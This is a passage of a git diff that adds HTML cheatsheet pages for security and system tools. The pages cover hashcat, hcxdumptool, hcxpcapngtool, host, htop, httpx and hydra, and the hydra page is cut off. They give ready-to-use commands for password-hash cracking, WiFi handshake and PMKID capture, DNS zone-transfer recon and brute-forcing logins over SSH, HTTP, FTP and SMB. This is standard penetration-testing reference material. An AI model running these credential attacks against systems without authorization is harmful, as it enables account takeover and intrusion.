  • -m 500 - md5crypt $1$ (Linux)
  • +
+
    +
  • -m 3200 - bcrypt $2$
  • +
+
    +
  • -m 17210 - sha256crypt $5$ (Linux)
  • +
+
    +
  • -m 1410 - sha256($salt.$pass)
  • +
+
    +
  • -m 13100 - Kerberos 5 TGS-REP
  • +
+
+

Attack Modes

+
    +
  • -a 0 - Dictionary attack (default)
  • +
+
    +
  • -a 1 - Combinator attack
  • +
+
    +
  • -a 3 - Brute-force/Mask attack
  • +
+
    +
  • -a 6 - Hybrid wordlist + mask
  • +
+
    +
  • -a 7 - Hybrid mask + wordlist
  • +
+
+

Brute-Force Masks

+
    +
  • -a 3 ?l?l?l?l?l?l?l?l - 8 lowercase letters
  • +
+
    +
  • -a 3 ?u?u?u?u - 4 uppercase letters
  • +
+
    +
  • -a 3 ?d?d?d?d - 4 digits
  • +
+
    +
  • -a 3 ?l?l?d?d - 2 letters + 2 digits
  • +
+
    +
  • -a 3 ?a?a?a?a - 4 characters (any)
  • +
+
    +
  • -a 3 password?d?d?d - "password" + 3 digits
  • +
+

Mask Characters

+
    +
  • ?l - Lowercase letters (a-z)
  • +
+
    +
  • ?u - Uppercase letters (A-Z)
  • +
+
    +
  • ?d - Digits (0-9)
  • +
+
    +
  • ?s - Special characters (!@#$%^&*...)
  • +
+
    +
  • ?a - All characters (?l?u?d?s)
  • +
+
    +
  • ?b - Binary (0x00-0xff)
  • +
+
    +
  • ?h - Lowercase hex (0-9a-f)
  • +
+
    +
  • ?H - Uppercase hex (0-9A-F)
  • +
+
+

Performance Options

+
    +
  • -w <1-4> - Workload profile (1=low, 2=default, 3=high, 4=insane)
  • +
+
    +
  • -O - Optimized kernels (may reduce supported password lengths)
  • +
+
    +
  • --force - Ignore warnings
  • +
+
    +
  • --hwmon-temp-abort=<temp> - Abort if GPU temp exceeds (Celsius)
  • +
+
    +
  • --hwmon-disable - Disable hardware monitoring
  • +
+
+

Output Options

+
    +
  • -o <file> - Output file for recovered hashes
  • +
+
    +
  • --outfile-format=<num> - Output format (1=hash:pass, 2=hex, 3=hash[:salt]:pass)
  • +
+
    +
  • --show - Show cracked hashes
  • +
+
    +
  • --left - Show uncracked hashes
  • +
+
    +
  • --username - Show username (for formats with username)
  • +
+
    +
  • --remove - Remove cracked hashes from hash file
  • +
+
    +
  • --potfile-path=<file> - Path to potfile
  • +
+
    +
  • --outfile-autohex-disable - Disable hex encoding in output
  • +
+
+

Session Options

+
    +
  • --session=<name> - Session name
  • +
+
    +
  • --restore - Restore session
  • +
+
    +
  • --status - Enable status update screen
  • +
+
    +
  • --status-timer=<sec> - Status update interval (default 10)
  • +
+
    +
  • --stdout - Output to stdout (no status screen)
  • +
+
    +
  • --quiet - Suppress output
  • +
+
+

Rules and Masks

+
    +
  • -r <file> - Rules file
  • +
+
    +
  • -g <num> - Generate num random rules
  • +
+
    +
  • --rules-file=<file> - Rules file
  • +
+
+

Common Examples

+

MD5 Dictionary Attack

+
hashcat -m 0 hash.txt wordlist.txt
+

WPA/WPA2 Attack

+
hashcat -m 22000 hash.hc22000 wordlist.txt
+

NTLM Attack

+
hashcat -m 1000 ntlm_hash.txt wordlist.txt
+

Brute Force 8 Lowercase

+
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l
+

Brute Force 4-8 Digits

+
hashcat -m 0 hash.txt -a 3 -i --increment-min=4 --increment-max=8 ?d?d?d?d
+

Combinator Attack

+
hashcat -m 0 hash.txt -a 1 wordlist1.txt wordlist2.txt
+

With Rules

+
hashcat -m 0 hash.txt wordlist.txt -r rules/best64.rule
+

Show Cracked Hashes

+
hashcat -m 0 hash.txt --show
+

Resume Session

+
hashcat --restore --session my_session
+

High Performance

+
hashcat -m 0 hash.txt wordlist.txt -w 4 -O
+

Save Results

+
hashcat -m 0 hash.txt wordlist.txt -o cracked.txt
+
+

Tips

+
    +
  • Use -w 4 for maximum performance (may affect system usability)
  • +
+
    +
  • Use -O for optimized kernels (faster but limited password length)
  • +
+
    +
  • Use --show to display already cracked hashes
  • +
+
    +
  • Save session with --session to resume later
  • +
+
    +
  • Use -a 3 with masks for targeted brute force
  • +
+
    +
  • Combine dictionary with rules (-r) for better results
  • +
+
    +
  • Monitor GPU temperature to prevent damage
  • +
+
    +
  • Use -m 22000 for modern WPA/WPA2 captures (hc22000 format)
  • +
+
    +
  • Always test on authorized systems only
  • +
+
    +
  • Check hashcat examples on website for specific hash types
  • +
+
    +
  • Use --remove to clean up successfully cracked hashes
  • +
+
    +
  • Start with small wordlists before large brute force attacks
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/hcxdumptool.html b/cheatsheets/hcxdumptool.html new file mode 100644 index 0000000..a18546d --- /dev/null +++ b/cheatsheets/hcxdumptool.html @@ -0,0 +1,226 @@ + + + + + + + + + + + hcxdumptool Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

hcxdumptool Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

hcxdumptool is a WiFi handshake capture tool designed to capture WPA/WPA2 handshakes and PMKID hashes from wireless networks. It works with monitor mode interfaces and can extract handshakes even from APs without active clients.

+
+

Basic Usage

+
    +
  • hcxdumptool -i <interface> -o <output> - Basic capture
  • +
+
    +
  • hcxdumptool -i wlan0mon -o capture.pcapng - Capture to file
  • +
+
    +
  • hcxdumptool -i <interface> --enable_status=1 -o <output> - With status output
  • +
+
+

Interface Options

+
    +
  • -i <interface> - Monitor mode interface (required)
  • +
+
    +
  • --filterlist_ap=<file> - Filter list of APs (maclist)
  • +
+
    +
  • --filterlist_client=<file> - Filter list of clients
  • +
+
    +
  • --filterlist_mac=<file> - Combined filter list
  • +
+
    +
  • --filtermode=1 - Filter mode (0=disabled, 1=AP, 2=client, 3=both)
  • +
+
+

Target Selection

+
    +
  • -c <channel> - Lock to specific channel
  • +
+
    +
  • --do_rcascan - Perform channel scan
  • +
+
    +
  • --rcascanlist=<channels> - Channels to scan (e.g., "1,6,11")
  • +
+
    +
  • --bpf=<filter> - Berkeley Packet Filter
  • +
+
+

Capture Options

+
    +
  • --enable_status=1 - Enable status output
  • +
+
    +
  • --enable_status=2 - Verbose status output
  • +
+
    +
  • --enable_status=3 - Very verbose output
  • +
+
    +
  • --disable_client_attacks - Disable client attacks
  • +
+
    +
  • --disable_ap_attacks - Disable AP attacks
  • +
+
    +
  • --active_beacon - Send active beacons
  • +
+
    +
  • --stop_ap_attacks=<num> - Stop after N AP attacks
  • +
+
    +
  • --stop_client_attacks=<num> - Stop after N client attacks
  • +
+
+

Output Options

+
    +
  • -o <file> - Output file (.pcapng format)
  • +
+
    +
  • -w <file> - Write PMKID to file
  • +
+
    +
  • --write_status=<file> - Write status to file
  • +
+
    +
  • -k <file> - Read PMKID from file
  • +
+
+

PMKID Capture

+
    +
  • --enable_status=1 - Enable PMKID capture
  • +
+
    +
  • -w <file> - Save PMKID hashes
  • +
+
    +
  • PMKID is captured in first EAPOL message
  • +
+
    +
  • No client required for PMKID capture
  • +
+
+

Handshake Capture

+
    +
  • Captures 4-way handshake automatically
  • +
+
    +
  • Works when clients connect/disconnect
  • +
+
    +
  • Can force deauthentication for handshake
  • +
+
+

Common Examples

+

Basic Capture

+
sudo hcxdumptool -i wlan0mon -o capture.pcapng
+

Capture with Status

+
sudo hcxdumptool -i wlan0mon --enable_status=1 -o capture.pcapng
+

Capture Specific Channel

+
sudo hcxdumptool -i wlan0mon -c 6 -o capture.pcapng
+

Filter Specific APs

+
sudo hcxdumptool -i wlan0mon --filterlist_ap=ap_list.txt --filtermode=1 -o capture.pcapng
+

Capture PMKID Only

+
sudo hcxdumptool -i wlan0mon -w pmkid.txt -o capture.pcapng
+

Scan Specific Channels

+
sudo hcxdumptool -i wlan0mon --do_rcascan --rcascanlist="1,6,11" -o capture.pcapng
+

Verbose Output

+
sudo hcxdumptool -i wlan0mon --enable_status=3 -o capture.pcapng
+

Disable Client Attacks

+
sudo hcxdumptool -i wlan0mon --disable_client_attacks -o capture.pcapng
+
+

Workflow

+
    +
  1. Put interface in monitor mode: sudo airmon-ng start wlan0
  2. +
  3. Start capture: sudo hcxdumptool -i wlan0mon -o capture.pcapng
  4. +
  5. Let it run to capture handshakes/PMKIDs
  6. +
  7. Convert with hcxpcapngtool for hashcat
  8. +
  9. Crack with hashcat
  10. +
+
+

Tips

+
    +
  • Interface must be in monitor mode (use airmon-ng or iw)
  • +
+
    +
  • Requires root/sudo privileges
  • +
+
    +
  • PMKID capture doesn't require active clients
  • +
+
    +
  • Handshake capture works best when clients connect/disconnect
  • +
+
    +
  • Use --enable_status for real-time information
  • +
+
    +
  • Filter lists help focus on specific targets
  • +
+
    +
  • Use -c to lock to specific channel for better results
  • +
+
    +
  • Output is in pcapng format (compatible with Wireshark)
  • +
+
    +
  • Always test on authorized networks only
  • +
+
    +
  • Convert pcapng to hashcat format with hcxpcapngtool
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/hcxpcapngtool.html b/cheatsheets/hcxpcapngtool.html new file mode 100644 index 0000000..e86bed5 --- /dev/null +++ b/cheatsheets/hcxpcapngtool.html @@ -0,0 +1,239 @@ + + + + + + + + + + + hcxpcapngtool Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

hcxpcapngtool Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

hcxpcapngtool converts and analyzes WiFi captures. It extracts WPA/WPA2 handshakes, PMKID hashes, and converts pcapng files to formats compatible with hashcat and other password cracking tools.

+
+

Basic Usage

+
    +
  • hcxpcapngtool -o <output> <input> - Convert to hashcat format
  • +
+
    +
  • hcxpcapngtool -o hash.hc22000 capture.pcapng - Convert to hc22000 (PMKID)
  • +
+
    +
  • hcxpcapngtool -o hash.hc22000 -z capture.pcapng - Convert with EAPOL (handshake)
  • +
+
+

Input/Output Options

+
    +
  • -o <file> - Output file
  • +
+
    +
  • -k <file> - Output PMKID to file
  • +
+
    +
  • -E <file> - Output ESSID wordlist
  • +
+
    +
  • -I <file> - Output identity wordlist
  • +
+
    +
  • -P <file> - Output passwords
  • +
+
    +
  • -Z <file> - Output weak passphrases
  • +
+
    +
  • -z <file> - Output EAPOL hashes (handshake)
  • +
+
+

Analysis Options

+
    +
  • --info - Show capture information
  • +
+
    +
  • --timeline - Show timeline of captures
  • +
+
    +
  • --list - List all captured networks
  • +
+
    +
  • --filter=<bssid> - Filter by BSSID
  • +
+
    +
  • --filter-ap=<bssid> - Filter AP by BSSID
  • +
+
    +
  • --filter-client=<mac> - Filter client by MAC
  • +
+
    +
  • --psk - Show PSK (if known)
  • +
+
+

Hash Format Conversion

+
    +
  • -o <file>.hc22000 - Output in hc22000 format (PMKID + EAPOL)
  • +
+
    +
  • -o <file>.16800 - Output in 16800 format (PMKID)
  • +
+
    +
  • -o <file>.2500 - Output in 2500 format (WPA/WPA2 handshake)
  • +
+
    +
  • -o <file>.hccapx - Output in hccapx format (legacy)
  • +
+
+

PMKID Extraction

+
    +
  • hcxpcapngtool -o pmkid.hc22000 capture.pcapng - Extract PMKID
  • +
+
    +
  • PMKID captured in first EAPOL message from AP
  • +
+
    +
  • No client needed for PMKID capture
  • +
+
    +
  • Format: PMKID*MAC_AP*MAC_CLIENT*ESSID*PSK
  • +
+
+

Handshake Extraction

+
    +
  • hcxpcapngtool -o handshake.hc22000 -z capture.pcapng - Extract handshake
  • +
+
    +
  • Requires complete 4-way handshake
  • +
+
    +
  • Combined with PMKID in hc22000 format
  • +
+
+

Common Examples

+

Basic Conversion

+
hcxpcapngtool -o hash.hc22000 capture.pcapng
+

Convert with Handshake

+
hcxpcapngtool -o hash.hc22000 -z capture.pcapng
+

Show Capture Info

+
hcxpcapngtool --info capture.pcapng
+

List Networks

+
hcxpcapngtool --list capture.pcapng
+

Extract PMKID Only

+
hcxpcapngtool -o pmkid.hc22000 -k pmkid.txt capture.pcapng
+

Extract ESSID Wordlist

+
hcxpcapngtool -E essid_list.txt capture.pcapng
+

Filter by BSSID

+
hcxpcapngtool --filter-ap=AA:BB:CC:DD:EE:FF -o hash.hc22000 capture.pcapng
+

Convert Multiple Files

+
hcxpcapngtool -o combined.hc22000 capture1.pcapng capture2.pcapng
+

Legacy Format

+
hcxpcapngtool -o hash.hccapx capture.pcapng
+
+

Hashcat Integration

+

PMKID Attack

+
hashcat -m 22000 hash.hc22000 wordlist.txt
+

Handshake Attack

+
hashcat -m 22000 hash.hc22000 wordlist.txt
+

hc22000 format supports both PMKID and handshakes

+
+

File Formats

+
    +
  • hc22000 - Modern format (PMKID + EAPOL handshake), hashcat mode 22000
  • +
+
    +
  • 16800 - PMKID only, hashcat mode 16800
  • +
+
    +
  • 2500 - WPA/WPA2 handshake, hashcat mode 2500
  • +
+
    +
  • hccapx - Legacy format, hashcat mode 2500
  • +
+
    +
  • pcapng - Original capture format (Wireshark compatible)
  • +
+
+

Workflow

+
    +
  1. Capture with hcxdumptool: hcxdumptool -i wlan0mon -o capture.pcapng
  2. +
  3. Convert with hcxpcapngtool: hcxpcapngtool -o hash.hc22000 capture.pcapng
  4. +
  5. Crack with hashcat: hashcat -m 22000 hash.hc22000 wordlist.txt
  6. +
+
+

Tips

+
    +
  • hc22000 format is preferred (supports both PMKID and handshakes)
  • +
+
    +
  • Use --info to verify capture quality before converting
  • +
+
    +
  • PMKID doesn't require complete handshake (faster capture)
  • +
+
    +
  • Use -z flag to include EAPOL handshake hashes
  • +
+
    +
  • Filter by BSSID to extract specific networks
  • +
+
    +
  • Combine multiple captures into single hash file
  • +
+
    +
  • Use --list to see what networks were captured
  • +
+
    +
  • Extract ESSID wordlist for targeted attacks
  • +
+
    +
  • Always test on authorized networks only
  • +
+
    +
  • hc22000 format works with hashcat mode 22000
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/host.html b/cheatsheets/host.html new file mode 100644 index 0000000..1465ffc --- /dev/null +++ b/cheatsheets/host.html @@ -0,0 +1,214 @@ + + + + + + + + + + + host Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

host Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

host is a simple utility for performing DNS lookups. It's part of the BIND utilities and provides quick DNS resolution without the complexity of dig.

+
+

Basic Usage

+
    +
  • host <hostname> - Basic lookup
  • +
+
    +
  • host <ip> - Reverse lookup
  • +
+
    +
  • host <hostname> <dns-server> - Use specific DNS server
  • +
+
+

Query Types

+
    +
  • host -t A <hostname> - IPv4 address
  • +
+
    +
  • host -t AAAA <hostname> - IPv6 address
  • +
+
    +
  • host -t MX <hostname> - Mail servers
  • +
+
    +
  • host -t NS <hostname> - Name servers
  • +
+
    +
  • host -t TXT <hostname> - TXT records
  • +
+
    +
  • host -t CNAME <hostname> - Canonical name
  • +
+
    +
  • host -t SOA <hostname> - Start of authority
  • +
+
    +
  • host -t PTR <ip> - Pointer record (reverse)
  • +
+
    +
  • host -t ANY <hostname> - All records
  • +
+
+

Options

+
    +
  • -a - Equivalent to -v -t ANY
  • +
+
    +
  • -v - Verbose output
  • +
+
    +
  • -l - Zone transfer (AXFR)
  • +
+
    +
  • -C - Compare SOA records from all NS
  • +
+
    +
  • -4 - Use IPv4 only
  • +
+
    +
  • -6 - Use IPv6 only
  • +
+
    +
  • -r - Non-recursive query
  • +
+
    +
  • -T - Use TCP instead of UDP
  • +
+
    +
  • -W <seconds> - Wait timeout
  • +
+
    +
  • -R <number> - Number of retries
  • +
+
+

Common Examples

+

Basic Lookup

+
host example.com
+

Get IP addresses for domain.

+

Reverse Lookup

+
host 8.8.8.8
+

Find hostname for IP.

+

MX Records

+
host -t MX example.com
+

Find mail servers.

+

Name Servers

+
host -t NS example.com
+

Find authoritative name servers.

+

TXT Records

+
host -t TXT example.com
+

Get TXT records (SPF, DKIM, etc.).

+

Use Specific DNS

+
host example.com 8.8.8.8
+

Query using Google DNS.

+

All Records

+
host -a example.com
+

Verbose output with all record types.

+

Zone Transfer (AXFR)

+
host -l example.com ns1.example.com
+

Attempt zone transfer (usually blocked).

+

SOA Record

+
host -t SOA example.com
+

Get start of authority info.

+

Compare NS Records

+
host -C example.com
+

Compare SOA from all name servers.

+
+

Output Examples

+

A Record Output

+
$ host example.com
+example.com has address 93.184.216.34
+example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946
+

MX Record Output

+
$ host -t MX example.com
+example.com mail is handled by 10 mail.example.com.
+

Reverse Lookup Output

+
$ host 8.8.8.8
+8.8.8.8.in-addr.arpa domain name pointer dns.google.
+
+

Comparison with Other Tools

+

host vs dig

+
    +
  • host - Simple, quick, human-readable
  • +
  • dig - Detailed, more options, scriptable
  • +
+

host vs nslookup

+
    +
  • host - Simpler output, CLI focused
  • +
  • nslookup - Interactive mode, legacy tool
  • +
+
+

Tips

+
    +
  • Use for quick DNS lookups
  • +
+
    +
  • Try zone transfers (-l) during recon
  • +
+
    +
  • Check MX records for mail server enumeration
  • +
+
    +
  • Use -t TXT to find SPF/DKIM records
  • +
+
    +
  • Query different DNS servers to compare
  • +
+
    +
  • Use dig for more detailed analysis
  • +
+
    +
  • Great for quick command-line lookups
  • +
+
    +
  • Reverse lookups can reveal shared hosting
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/htop.html b/cheatsheets/htop.html new file mode 100644 index 0000000..75288cd --- /dev/null +++ b/cheatsheets/htop.html @@ -0,0 +1,197 @@ + + + + + + + + + + + htop Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

htop Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

htop is an interactive process viewer and system monitor. Enhanced version of top with better visualization, mouse support, and easier navigation.

+
+

Basic Usage

+
    +
  • htop - Start interactive monitor
  • +
+
    +
  • htop -u user - Show only user processes
  • +
+
    +
  • htop -p PID1,PID2 - Monitor specific PIDs
  • +
+
    +
  • htop -s column - Sort by column
  • +
+
+

Interactive Keys

+
    +
  • F1 - Help
  • +
+
    +
  • F2 - Setup (configure display)
  • +
+
    +
  • F3 - Search process
  • +
+
    +
  • F4 - Filter processes
  • +
+
    +
  • F5 - Tree view
  • +
+
    +
  • F6 - Sort by column
  • +
+
    +
  • F7 - Decrease nice (higher priority)
  • +
+
    +
  • F8 - Increase nice (lower priority)
  • +
+
    +
  • F9 - Kill process
  • +
+
    +
  • F10 - Quit
  • +
+
    +
  • Space - Tag process
  • +
+
    +
  • u - Show processes of specific user
  • +
+
    +
  • t - Tree/List view toggle
  • +
+
    +
  • H - Show/hide threads
  • +
+
    +
  • K - Show/hide kernel threads
  • +
+
    +
  • P - Sort by CPU
  • +
+
    +
  • M - Sort by memory
  • +
+
    +
  • T - Sort by time
  • +
+
    +
  • / - Search
  • +
+
    +
  • \ - Filter
  • +
+
+

Command Line Options

+
    +
  • -d delay - Update delay in seconds
  • +
+
    +
  • -u user - Show only user processes
  • +
+
    +
  • -p PID - Show only specific PIDs
  • +
+
    +
  • -s column - Sort by column
  • +
+
    +
  • -C - No color
  • +
+
    +
  • -t - Tree view by default
  • +
+
+

Common Examples

+

Basic Monitor

+
htop
+

Start interactive monitor.

+

User Processes

+
htop -u username
+

Show only specific user.

+

Sort by Memory

+
htop -s PERCENT_MEM
+

Start sorted by memory usage.

+

Tree View

+
htop -t
+

Start in tree view.

+

Specific PIDs

+
htop -p 1234,5678
+

Monitor specific processes.

+
+

Tips

+
    +
  • Use F6 to change sort column
  • +
+
    +
  • Use F4 to filter processes
  • +
+
    +
  • Use F5 for tree view to see process hierarchy
  • +
+
    +
  • Use F9 to kill processes
  • +
+
    +
  • Use F7/F8 to adjust process priority
  • +
+
    +
  • Much more user-friendly than top
  • +
+
    +
  • Supports mouse interaction
  • +
+
    +
  • Essential for system monitoring
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/httpx.html b/cheatsheets/httpx.html new file mode 100644 index 0000000..31008f5 --- /dev/null +++ b/cheatsheets/httpx.html @@ -0,0 +1,291 @@ + + + + + + + + + + + httpx Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

httpx Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

httpx is a fast and multi-purpose HTTP toolkit by ProjectDiscovery. It probes for live hosts, extracts information, and integrates with other tools in recon pipelines.

+
+

Basic Usage

+
    +
  • echo "example.com" | httpx - Probe single host
  • +
+
    +
  • cat hosts.txt | httpx - Probe multiple hosts
  • +
+
    +
  • httpx -l hosts.txt - Read from file
  • +
+
+

Input Options

+
    +
  • -l, -list - Input file with hosts
  • +
+
    +
  • -u, -target - Single target URL
  • +
+
    +
  • -ports - Ports to probe (comma-separated)
  • +
+
    +
  • -path - Path to append to URLs
  • +
+
+

Probing Options

+
    +
  • -sc, -status-code - Show status code
  • +
+
    +
  • -cl, -content-length - Show content length
  • +
+
    +
  • -ct, -content-type - Show content type
  • +
+
    +
  • -title - Show page title
  • +
+
    +
  • -server - Show server header
  • +
+
    +
  • -td, -tech-detect - Detect technologies
  • +
+
    +
  • -ip - Show IP address
  • +
+
    +
  • -cname - Show CNAME record
  • +
+
    +
  • -cdn - Detect CDN
  • +
+
    +
  • -location - Show redirect location
  • +
+
    +
  • -favicon - Extract favicon hash
  • +
+
    +
  • -hash - Show response body hash
  • +
+
    +
  • -jarm - Show JARM fingerprint
  • +
+
    +
  • -rt, -response-time - Show response time
  • +
+
    +
  • -websocket - Detect WebSocket
  • +
+
    +
  • -pipeline - Show HTTP pipeline support
  • +
+
    +
  • -http2 - Show HTTP/2 support
  • +
+
+

Filtering Options

+
    +
  • -mc, -match-code - Match status codes
  • +
+
    +
  • -ml, -match-length - Match content length
  • +
+
    +
  • -ms, -match-string - Match response string
  • +
+
    +
  • -mr, -match-regex - Match regex
  • +
+
    +
  • -fc, -filter-code - Filter status codes
  • +
+
    +
  • -fl, -filter-length - Filter content length
  • +
+
    +
  • -fs, -filter-string - Filter response string
  • +
+
    +
  • -fr, -filter-regex - Filter regex
  • +
+
+

Output Options

+
    +
  • -o, -output - Output file
  • +
+
    +
  • -json - JSON output
  • +
+
    +
  • -csv - CSV output
  • +
+
    +
  • -silent - Silent mode (only results)
  • +
+
    +
  • -v, -verbose - Verbose output
  • +
+
    +
  • -nc, -no-color - Disable colors
  • +
+
    +
  • -sr, -store-response - Store response
  • +
+
    +
  • -srd, -store-response-dir - Response directory
  • +
+
+

HTTP Options

+
    +
  • -H, -header - Custom headers
  • +
+
    +
  • -x, -http-proxy - HTTP proxy
  • +
+
    +
  • -follow-redirects - Follow redirects
  • +
+
    +
  • -follow-host-redirects - Follow same-host redirects
  • +
+
    +
  • -max-redirects - Maximum redirects
  • +
+
    +
  • -timeout - Timeout in seconds
  • +
+
    +
  • -retries - Number of retries
  • +
+
    +
  • -threads - Concurrent threads
  • +
+
    +
  • -rate-limit - Requests per second
  • +
+
+

Common Examples

+

Basic Probe

+
cat subdomains.txt | httpx
+

Check which subdomains are live.

+

With Status and Title

+
cat hosts.txt | httpx -sc -title
+

Show status codes and page titles.

+

Tech Detection

+
cat hosts.txt | httpx -td
+

Detect technologies (wappalyzer-like).

+

Full Info

+
cat hosts.txt | httpx -sc -title -server -td -ip
+

Comprehensive host information.

+

Filter by Status

+
cat hosts.txt | httpx -mc 200
+

Only show 200 OK responses.

+

Exclude Status

+
cat hosts.txt | httpx -fc 404,403
+

Exclude 404 and 403 responses.

+

JSON Output

+
cat hosts.txt | httpx -json -o results.json
+

Save detailed JSON output.

+

Multiple Ports

+
cat hosts.txt | httpx -ports 80,443,8080,8443
+

Check multiple ports.

+

Silent for Piping

+
subfinder -d example.com -silent | httpx -silent
+

Clean output for pipelines.

+

With Custom Header

+
cat hosts.txt | httpx -H "Authorization: Bearer token"
+

Add auth header to requests.

+

Follow Redirects

+
cat hosts.txt | httpx -follow-redirects -location
+

Follow and show redirect locations.

+

Store Responses

+
cat hosts.txt | httpx -sr -srd ./responses
+

Save all response bodies.

+
+

Common Pipelines

+

Full Subdomain Recon

+
subfinder -d example.com -silent | httpx -silent -sc -title -td | tee results.txt
+

Find Interesting Pages

+
cat urls.txt | httpx -mc 200 -title | grep -i "admin\|login\|dashboard"
+

Screenshot Pipeline

+
subfinder -d example.com -silent | httpx -silent | aquatone
+
+

Tips

+
    +
  • Use -silent for clean pipeline output
  • +
+
    +
  • Combine -sc -title -td for quick triage
  • +
+
    +
  • Use -json for detailed data extraction
  • +
+
    +
  • Filter with -mc/-fc to focus results
  • +
+
    +
  • Store responses for later analysis
  • +
+
    +
  • Essential tool in recon pipelines
  • +
+
    +
  • Part of ProjectDiscovery toolkit (works with nuclei, subfinder)
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/hydra.html b/cheatsheets/hydra.html new file mode 100644 index 0000000..2f26f2e --- /dev/null +++ b/cheatsheets/hydra.html @@ -0,0 +1,268 @@ + + + + + + + + + + + hydra Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

hydra Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

hydra is a fast and flexible brute force authentication tool. It supports parallel attacks on many protocols including SSH, HTTP, FTP, SMB, and more.

+
+

Basic Syntax

+
    +
  • hydra -l <user> -P <wordlist> <target> <service> - Basic brute force
  • +
+
    +
  • hydra -L <userlist> -p <password> <target> <service> - User enumeration
  • +
+
    +
  • hydra -L <userlist> -P <wordlist> <target> <service> - Full brute force
  • +
+
+

Common Options

+
    +
  • -l <login> - Single login name
  • +
+
    +
  • -L <file> - Login file (one per line)
  • +
+
    +
  • -p <password> - Single password
  • +
+
    +
  • -P <file> - Password file (one per line)
  • +
+
    +
  • -t <tasks> - Number of parallel tasks (default 16)
  • +
+
    +
  • -w <timeout> - Wait time between attempts (default 32)
  • +
+
    +
  • -f - Exit on first valid login
  • +
+
    +
  • -s <port> - Port number (if non-standard)
  • +
+
    +
  • -v - Verbose mode
  • +
+
    +
  • -V - Show login/password attempts
  • +
+
    +
  • -o <file> - Output file for found credentials
  • +
+
+

SSH Brute Force

+
    +
  • hydra -l <user> -P <wordlist> ssh://<target> - SSH attack
  • +
+
    +
  • hydra -l <user> -P <wordlist> -s 2222 ssh://<target> - Custom SSH port
  • +
+
    +
  • hydra -L users.txt -P passwords.txt ssh://<target> - Multiple users
  • +
+
+

HTTP/HTTPS Brute Force

+
    +
  • hydra -l <user> -P <wordlist> http-get://<target>/login - HTTP GET
  • +
+
    +
  • hydra -l <user> -P <wordlist> http-post-form://<target>/login:"user=^USER^&pass=^PASS^":"F=incorrect" - POST form
  • +
+
    +
  • hydra -l <user> -P <wordlist> https://<target>/login - HTTPS
  • +
+
    +
  • hydra -L users.txt -P passwords.txt http-get://<target>/protected - HTTP basic auth
  • +
+
+

FTP Brute Force

+
    +
  • hydra -l <user> -P <wordlist> ftp://<target> - FTP attack
  • +
+
    +
  • hydra -L users.txt -P passwords.txt ftp://<target> - Multiple users
  • +
+
    +
  • hydra -l anonymous -P passwords.txt ftp://<target> - Anonymous FTP
  • +
+
+

SMB Brute Force

+
    +
  • hydra -l <user> -P <wordlist> smb://<target> - SMB attack
  • +
+
    +
  • hydra -L users.txt -P passwords.txt smb://<target> - Multiple users
  • +
+
    +
  • hydra -L users.txt -P passwords.txt smb://<target>/share - Specific share
  • +
+
+

RDP Brute Force

+
    +
